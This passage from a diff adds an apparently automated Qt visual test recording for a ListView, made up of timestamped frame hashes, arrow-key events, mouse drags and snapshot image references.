+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 160
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 176
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 192
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 208
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 224
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 240
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 256
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 272
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 288
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 304
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 320
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 336
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 352
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 368
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 384
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 400
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 416
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 432
+ hash: "3b88645092be28037fca4a6034f5b2f7"
+ }
+ Frame {
+ msec: 448
+ hash: "435ac0668ad4d0e196eb040d385053cb"
+ }
+ Frame {
+ msec: 464
+ hash: "e9532fe1acc1c27a2119e6dde3e01637"
+ }
+ Frame {
+ msec: 480
+ hash: "9c757feaf5a8d1e88c659fca97e3b7b2"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 496
+ hash: "ccc7785a45a41615db01580835a4638e"
+ }
+ Frame {
+ msec: 512
+ hash: "11ad92022bcd5d3fbd28ffb9f51c69eb"
+ }
+ Frame {
+ msec: 528
+ hash: "a8a94e1f95216864c368b8c3d0ae682b"
+ }
+ Frame {
+ msec: 544
+ hash: "d83e213d35e7fcff2580b4e197547f24"
+ }
+ Frame {
+ msec: 560
+ hash: "9e5a57fabdc443e395cacbaf6e0c9bef"
+ }
+ Frame {
+ msec: 576
+ hash: "9e5a57fabdc443e395cacbaf6e0c9bef"
+ }
+ Frame {
+ msec: 592
+ hash: "9e5a57fabdc443e395cacbaf6e0c9bef"
+ }
+ Frame {
+ msec: 608
+ hash: "9e5a57fabdc443e395cacbaf6e0c9bef"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 624
+ hash: "9e5a57fabdc443e395cacbaf6e0c9bef"
+ }
+ Frame {
+ msec: 640
+ hash: "0e9c577fa86d9b3734da0d50040624e0"
+ }
+ Frame {
+ msec: 656
+ hash: "834cf83f0f8d613191cac775b5737664"
+ }
+ Frame {
+ msec: 672
+ hash: "495ea7650b2ae45f9afd7f9f6ecdd793"
+ }
+ Frame {
+ msec: 688
+ hash: "55c761ccee6543bb3b9564bb813df58e"
+ }
+ Frame {
+ msec: 704
+ hash: "e29e5f86cb3b1fb5ec77fde696024812"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 720
+ hash: "f24b7d5a8f5ab03460505d6203269d1b"
+ }
+ Frame {
+ msec: 736
+ hash: "893473965efe9e0540b197cbaa3f765d"
+ }
+ Frame {
+ msec: 752
+ hash: "a541b7be2f370f948048b2101b037ab7"
+ }
+ Frame {
+ msec: 768
+ hash: "a541b7be2f370f948048b2101b037ab7"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 784
+ hash: "da065f1e72883a45241630b96ee5b1f8"
+ }
+ Frame {
+ msec: 800
+ hash: "e97f78604c0c6d468c8dd225642e2ebd"
+ }
+ Frame {
+ msec: 816
+ hash: "7b9d4b14eedfa4ff10dd7e3747c4a7f5"
+ }
+ Frame {
+ msec: 832
+ hash: "6d55ba6287c720614854d36bb681a9f3"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 848
+ hash: "3e7a44811f59bfb81de2f4f884a7af17"
+ }
+ Frame {
+ msec: 864
+ hash: "101113a7723b9d09275f66152b82142f"
+ }
+ Frame {
+ msec: 880
+ hash: "0044e068522f912630868476f8bf49f8"
+ }
+ Frame {
+ msec: 896
+ hash: "92065f9f170ee09abf67f0d0c7a1b6ba"
+ }
+ Frame {
+ msec: 912
+ hash: "92065f9f170ee09abf67f0d0c7a1b6ba"
+ }
+ Frame {
+ msec: 928
+ hash: "92065f9f170ee09abf67f0d0c7a1b6ba"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 944
+ hash: "92065f9f170ee09abf67f0d0c7a1b6ba"
+ }
+ Frame {
+ msec: 960
+ hash: "d193987835dc12e4391e55ff5fee4ce1"
+ }
+ Frame {
+ msec: 976
+ image: "listview.1.png"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 992
+ hash: "9b07b6861a97d0871ed89369ff7449da"
+ }
+ Frame {
+ msec: 1008
+ hash: "7d95daf35c1823ea7187162b62010c57"
+ }
+ Frame {
+ msec: 1024
+ hash: "cc1e70fd1235d50ca291580bef1d6fc4"
+ }
+ Frame {
+ msec: 1040
+ hash: "c8250f4cf69642e78523412b7b75501c"
+ }
+ Frame {
+ msec: 1056
+ hash: "c57e421c803e8bfa1a85409cbb858829"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1072
+ hash: "19b429a90d9877e62a7dee53ebf01fb2"
+ }
+ Frame {
+ msec: 1088
+ hash: "7c810f174bed3826016272515df2d525"
+ }
+ Frame {
+ msec: 1104
+ hash: "9034cf480bda0d8b55aa6c43fc96b23d"
+ }
+ Frame {
+ msec: 1120
+ hash: "f62697a1f4e4df2869c14462a0d514fd"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1136
+ hash: "c878f53b338d1ce332973193b0fa4b86"
+ }
+ Frame {
+ msec: 1152
+ hash: "5d26f27061b319c391961dc30d985593"
+ }
+ Frame {
+ msec: 1168
+ hash: "e038ae877e8dddd3d99bf97475f59b3d"
+ }
+ Frame {
+ msec: 1184
+ hash: "f44adc5e46d320c62095e1285ca8848b"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1200
+ hash: "17f6b13e0556ac07dc527a9013a307a1"
+ }
+ Frame {
+ msec: 1216
+ hash: "70a1cc3b6dd3be4e30bb6763344fb980"
+ }
+ Frame {
+ msec: 1232
+ hash: "097c37d2243a27b8e800b5d4ec94b2e3"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1248
+ hash: "15839227c002b1c71eb516f6653a7531"
+ }
+ Frame {
+ msec: 1264
+ hash: "f4a8103ef9010c651368d325fe9eee98"
+ }
+ Frame {
+ msec: 1280
+ hash: "d158ec1c83719c58c1d0a2e4cc90998f"
+ }
+ Frame {
+ msec: 1296
+ hash: "6f66a44f5dc3fe150db2291b8cbc7327"
+ }
+ Frame {
+ msec: 1312
+ hash: "8a016eac5befb215a157f7fe5bc743de"
+ }
+ Frame {
+ msec: 1328
+ hash: "8a016eac5befb215a157f7fe5bc743de"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1344
+ hash: "807129a4c578b1a5f0d3d84686eb0553"
+ }
+ Frame {
+ msec: 1360
+ hash: "f9f2da990518048f0b050cc193567a20"
+ }
+ Frame {
+ msec: 1376
+ hash: "762de7b1f4e56df6d7a245a23446884b"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "84ba7354badc3dca92974933c3610010"
+ }
+ Frame {
+ msec: 1408
+ hash: "36c3018870d74cff638d00acd03a0cf0"
+ }
+ Frame {
+ msec: 1424
+ hash: "82b756a14eb0e802cd3e2d2d2a07f28e"
+ }
+ Frame {
+ msec: 1440
+ hash: "74af1c12613130dc53533fe1178d5534"
+ }
+ Frame {
+ msec: 1456
+ hash: "c32818b0ba24f11295580d1ccffffdc0"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1472
+ hash: "b858be109fac6852234bf1db161e515b"
+ }
+ Frame {
+ msec: 1488
+ hash: "9b3f8cffd3e79241d8a3b1f7d80790db"
+ }
+ Frame {
+ msec: 1504
+ hash: "840dc72aabc4a9b28bae641354676324"
+ }
+ Frame {
+ msec: 1520
+ hash: "c60bfd5cc8b26a841035db29baba5dab"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1536
+ hash: "88d80dc8b0d968aa718ff464e507f53b"
+ }
+ Frame {
+ msec: 1552
+ hash: "f7ffc82d3448c415b4997401fb61b96b"
+ }
+ Frame {
+ msec: 1568
+ hash: "df8e9a09752fe2b2eff9184ba8e88ef1"
+ }
+ Frame {
+ msec: 1584
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1600
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1616
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1632
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1648
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1664
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1680
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1696
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1712
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1728
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1744
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Key {
+ type: 6
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1760
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1776
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Key {
+ type: 7
+ key: 16777237
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1808
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1824
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1840
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1856
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1872
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "97330e949a609f5f33832dd17e0c3716"
+ }
+ Frame {
+ msec: 1904
+ hash: "15e45e1f64438d7c31e79a9602e1db7a"
+ }
+ Frame {
+ msec: 1920
+ hash: "02f34b6fde613c7c5928285bf81837d6"
+ }
+ Frame {
+ msec: 1936
+ image: "listview.2.png"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1952
+ hash: "33091359f9e6f21a14bf415d32d4d3b1"
+ }
+ Frame {
+ msec: 1968
+ hash: "0fdcffa304f3eadde5cd7866d0a74e72"
+ }
+ Frame {
+ msec: 1984
+ hash: "024539dbf8e66f1ba7d5d8c91bd278f0"
+ }
+ Frame {
+ msec: 2000
+ hash: "4900babcc0a7bbd622a72590dcb0eea4"
+ }
+ Frame {
+ msec: 2016
+ hash: "d6f68d576fe46bb832accf5e9e590f7e"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2032
+ hash: "5a54bcb9a59268d70a2bb99bd32395be"
+ }
+ Frame {
+ msec: 2048
+ hash: "72fbb18da8c5ef3e98390796dad31390"
+ }
+ Frame {
+ msec: 2064
+ hash: "ac073b398e3d50ef10c92d8e6b4b3fa0"
+ }
+ Frame {
+ msec: 2080
+ hash: "41e38d866d65bf1d42448b07a133cd93"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2096
+ hash: "c45310b94cd2ff276e97be1706e1d432"
+ }
+ Frame {
+ msec: 2112
+ hash: "aefc6994644d266d4be0310f01c28be7"
+ }
+ Frame {
+ msec: 2128
+ hash: "f07bcb1d8ad693e1ddd79bf651126554"
+ }
+ Frame {
+ msec: 2144
+ hash: "62ff227caab71d2d98daf0da302ec796"
+ }
+ Key {
+ type: 6
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "72350eeeaefd043354c82ca2039cff59"
+ }
+ Frame {
+ msec: 2176
+ hash: "d89f288f0b231b4ec4a634b3856ecf8e"
+ }
+ Frame {
+ msec: 2192
+ hash: "bc7d7e2253651cb3ea1cdebf9f188ae0"
+ }
+ Frame {
+ msec: 2208
+ hash: "7c89cdb693489708fe2db327ae66d083"
+ }
+ Frame {
+ msec: 2224
+ hash: "8ca778c1812ede19545c3c70020faa67"
+ }
+ Key {
+ type: 7
+ key: 16777235
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "bd50cd99f177eb3f70b2ffad9f7a49e1"
+ }
+ Frame {
+ msec: 2256
+ hash: "b439c3576cad17689e7b6b134bb04e14"
+ }
+ Frame {
+ msec: 2272
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2288
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2304
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2320
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2336
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2352
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2368
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2384
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2400
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2416
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 488; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2432
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Frame {
+ msec: 2448
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 489; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2464
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 490; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 491; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "9489c0e1e8cc5675bbc42b78e567eab6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 494; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 497; y: 90
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "6502b3a17af7ebca92d4794f0c2a62ac"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 499; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 501; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "8a7ac12d59126b2784fd0af8d6b762a5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 505; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "12fa9c4e2d6681f3a0643d8243d83e23"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 509; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2544
+ hash: "ccf18952f7c9686bd12fa196af9919e6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 516; y: 289
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2560
+ hash: "70d654eecaf2163971596a503d2925a0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 518; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 518; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2576
+ hash: "01ef888104f290f25612970a91e64620"
+ }
+ Frame {
+ msec: 2592
+ hash: "25b730c7c126875078c64cce118f6277"
+ }
+ Frame {
+ msec: 2608
+ hash: "68f3366932fed9156bf68dce6660b2a8"
+ }
+ Frame {
+ msec: 2624
+ hash: "9f4be0b58c46035a11c5b80ec60618d5"
+ }
+ Frame {
+ msec: 2640
+ hash: "6d38a4eaa2a41c57599cca381957ec4c"
+ }
+ Frame {
+ msec: 2656
+ hash: "1061db26c9080067bf121eb1d164a3f3"
+ }
+ Frame {
+ msec: 2672
+ hash: "c78d271711dc8f13fb48b41871249141"
+ }
+ Frame {
+ msec: 2688
+ hash: "c5825611f6c429fddd8c20495507ea5f"
+ }
+ Frame {
+ msec: 2704
+ hash: "9888b608bcf80496a3fe8848be4e3629"
+ }
+ Frame {
+ msec: 2720
+ hash: "9995d6ba039045d94903d5095b018ca8"
+ }
+ Frame {
+ msec: 2736
+ hash: "f8ea705b4710b3ffb11c2fe08ccccda2"
+ }
+ Frame {
+ msec: 2752
+ hash: "7354c2fcabdede9fb1ee823ce098da3b"
+ }
+ Frame {
+ msec: 2768
+ hash: "0d6beff960fa26771f09748356accedb"
+ }
+ Frame {
+ msec: 2784
+ hash: "0720a8a1ed85344a1de6682b3aefd502"
+ }
+ Frame {
+ msec: 2800
+ hash: "0245488740e13dbfc836b587b2bdf917"
+ }
+ Frame {
+ msec: 2816
+ hash: "25c4fcdd85017d18df7e83c15f1accbc"
+ }
+ Frame {
+ msec: 2832
+ hash: "51192ae0eae814f3dead9d949e2e4676"
+ }
+ Frame {
+ msec: 2848
+ hash: "ddbe6b273882c6018c01e0a4480b1adb"
+ }
+ Frame {
+ msec: 2864
+ hash: "bb840a0677114b67d9b08589e8a8192b"
+ }
+ Frame {
+ msec: 2880
+ hash: "5387de4152cac542735a4debf997b56f"
+ }
+ Frame {
+ msec: 2896
+ image: "listview.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "f5c99d06e0b3055374ee4c6bf3e634f4"
+ }
+ Frame {
+ msec: 2928
+ hash: "18fe01fadf4c5acbd369f4450db1efa6"
+ }
+ Frame {
+ msec: 2944
+ hash: "bed738f1883a76c5169dd2726456b9ea"
+ }
+ Frame {
+ msec: 2960
+ hash: "c80c45be3189269d8edc5be22db7227d"
+ }
+ Frame {
+ msec: 2976
+ hash: "3dcb08dd8ac8f083ad6aacbafaae05f4"
+ }
+ Frame {
+ msec: 2992
+ hash: "38850ecc15cdcd55b758f94e8ac7fe55"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 517; y: 241
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "033c44c51b8ab8f1555e153e20a80699"
+ }
+ Frame {
+ msec: 3024
+ hash: "b6dc510369c679a028bb059e74796f6c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 518; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 519; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3040
+ hash: "f3606887493ee9c0db86b1c6cc6fef6d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 524; y: 229
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3056
+ hash: "79975f978ebf4556381d08b500dcab72"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 530; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3072
+ hash: "1345974969c1a56c4c14c74301985289"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 532; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3088
+ hash: "fd623f2bf161f326da6dec8b5d8bf16f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 530; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 530; y: 117
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "f1dfb47c5d4449e6cf7e2e6a2e86b1c5"
+ }
+ Frame {
+ msec: 3120
+ hash: "26b31d08a1d50614771bec0458a2776b"
+ }
+ Frame {
+ msec: 3136
+ hash: "dd017925e34f942c279ceb18b5e222da"
+ }
+ Frame {
+ msec: 3152
+ hash: "be400b4ad1d9a1ccca56b8ff6b809272"
+ }
+ Frame {
+ msec: 3168
+ hash: "4a4faa75155bb2c260f3a35675bd113e"
+ }
+ Frame {
+ msec: 3184
+ hash: "3884c5d0d4c127876ba92a7b3a416339"
+ }
+ Frame {
+ msec: 3200
+ hash: "b3d15196484410e24084b0f0d8fd683f"
+ }
+ Frame {
+ msec: 3216
+ hash: "ed636ae433d185338ddbf7bffae731e1"
+ }
+ Frame {
+ msec: 3232
+ hash: "0e1f352c163ad8fe852c2e4857881d2f"
+ }
+ Frame {
+ msec: 3248
+ hash: "3c3b44481a6c2330a4a03076e35055f4"
+ }
+ Frame {
+ msec: 3264
+ hash: "6ea3210a929774aea84a7beb4a784842"
+ }
+ Frame {
+ msec: 3280
+ hash: "74dd747f9a64b19e5c5230c90ad3b642"
+ }
+ Frame {
+ msec: 3296
+ hash: "c02be4ebefd19f4c5e864e8bbab7c13e"
+ }
+ Frame {
+ msec: 3312
+ hash: "ce661af9085c833ec7d1fd66ebe67649"
+ }
+ Frame {
+ msec: 3328
+ hash: "4bf921874cfdc1b7d14e3a110b9e70a1"
+ }
+ Frame {
+ msec: 3344
+ hash: "f3e9cf8ac9e109e88d8c426fdcee28a9"
+ }
+ Frame {
+ msec: 3360
+ hash: "aa718a37f7ccf655d176adb799b5ddfb"
+ }
+ Frame {
+ msec: 3376
+ hash: "aa114a9676af508b4a106b21f7a2ed10"
+ }
+ Frame {
+ msec: 3392
+ hash: "a5bbbaebb61b83384f5be82a9c3181ba"
+ }
+ Frame {
+ msec: 3408
+ hash: "83deebf650b192de7c8a764d5379eeb4"
+ }
+ Frame {
+ msec: 3424
+ hash: "5b433e1f5b97b39b6e86c837f0b91f2b"
+ }
+ Frame {
+ msec: 3440
+ hash: "b5236be4e416f89a91eda7afbd75fc63"
+ }
+ Frame {
+ msec: 3456
+ hash: "1713477f5484a1b35686f2f4bff27612"
+ }
+ Frame {
+ msec: 3472
+ hash: "77f91f90744a23bbe172629f311d1a4e"
+ }
+ Frame {
+ msec: 3488
+ hash: "3963753a90d6cbf74bc21c9d06f4227b"
+ }
+ Frame {
+ msec: 3504
+ hash: "7f64804cd07a0ae63d0e3a1b9f8f8a84"
+ }
+ Frame {
+ msec: 3520
+ hash: "9ae6bc952da97239bfee88633637aeb7"
+ }
+ Frame {
+ msec: 3536
+ hash: "ba34cd0d57d5d027ad6c2de102676399"
+ }
+ Frame {
+ msec: 3552
+ hash: "c49632f9369aa901fcb702e76295c1e8"
+ }
+ Frame {
+ msec: 3568
+ hash: "3adab59e06a635a033564dfc8edc4877"
+ }
+ Frame {
+ msec: 3584
+ hash: "67643cbfb3c9864b7447a9a8e316b251"
+ }
+ Frame {
+ msec: 3600
+ hash: "d04d288cbf89e1ad3bbf25ffebd7a382"
+ }
+ Frame {
+ msec: 3616
+ hash: "e6c4d34b9b3de464ec0dcf8719b86313"
+ }
+ Frame {
+ msec: 3632
+ hash: "f73462d0fe19cbbd771f9f78d7bc4384"
+ }
+ Frame {
+ msec: 3648
+ hash: "6369f075a492240aee36eae8dcb2ace5"
+ }
+ Frame {
+ msec: 3664
+ hash: "1e9424a3b93833f8ae855c5f7877679a"
+ }
+ Frame {
+ msec: 3680
+ hash: "da274c1ae57d217ef4515326d32646b4"
+ }
+ Frame {
+ msec: 3696
+ hash: "1cbe684ba95e6ef635873f746e942f3d"
+ }
+ Frame {
+ msec: 3712
+ hash: "228e13c1d3dea6e666637de7cedd6dd4"
+ }
+ Frame {
+ msec: 3728
+ hash: "a3f8fec49fb88652e9339b621ea8b972"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 487; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3744
+ hash: "7c3eb16bf4f66d2b9889c9d80aaae8b2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 488; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "1825d33eb9ae94a63d334d93e07ce9af"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 489; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "306652a5a179cf23ee87c10571814f53"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 490; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3792
+ hash: "3d3ba7cd968a1f91f7534cabd7cc034b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 490; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3808
+ hash: "862f70151938a5d27db37a9f5dd53faa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 491; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "92b9283fa8b5642ce9bd14d875a12b75"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 491; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3840
+ hash: "294e6961316b028201657ab6b244559f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 493; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3856
+ image: "listview.4.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 493; y: 123
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3872
+ hash: "6cdd764ee39789307e5e313bfbbb7765"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 494; y: 141
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 494; y: 141
+ modifiers: 0
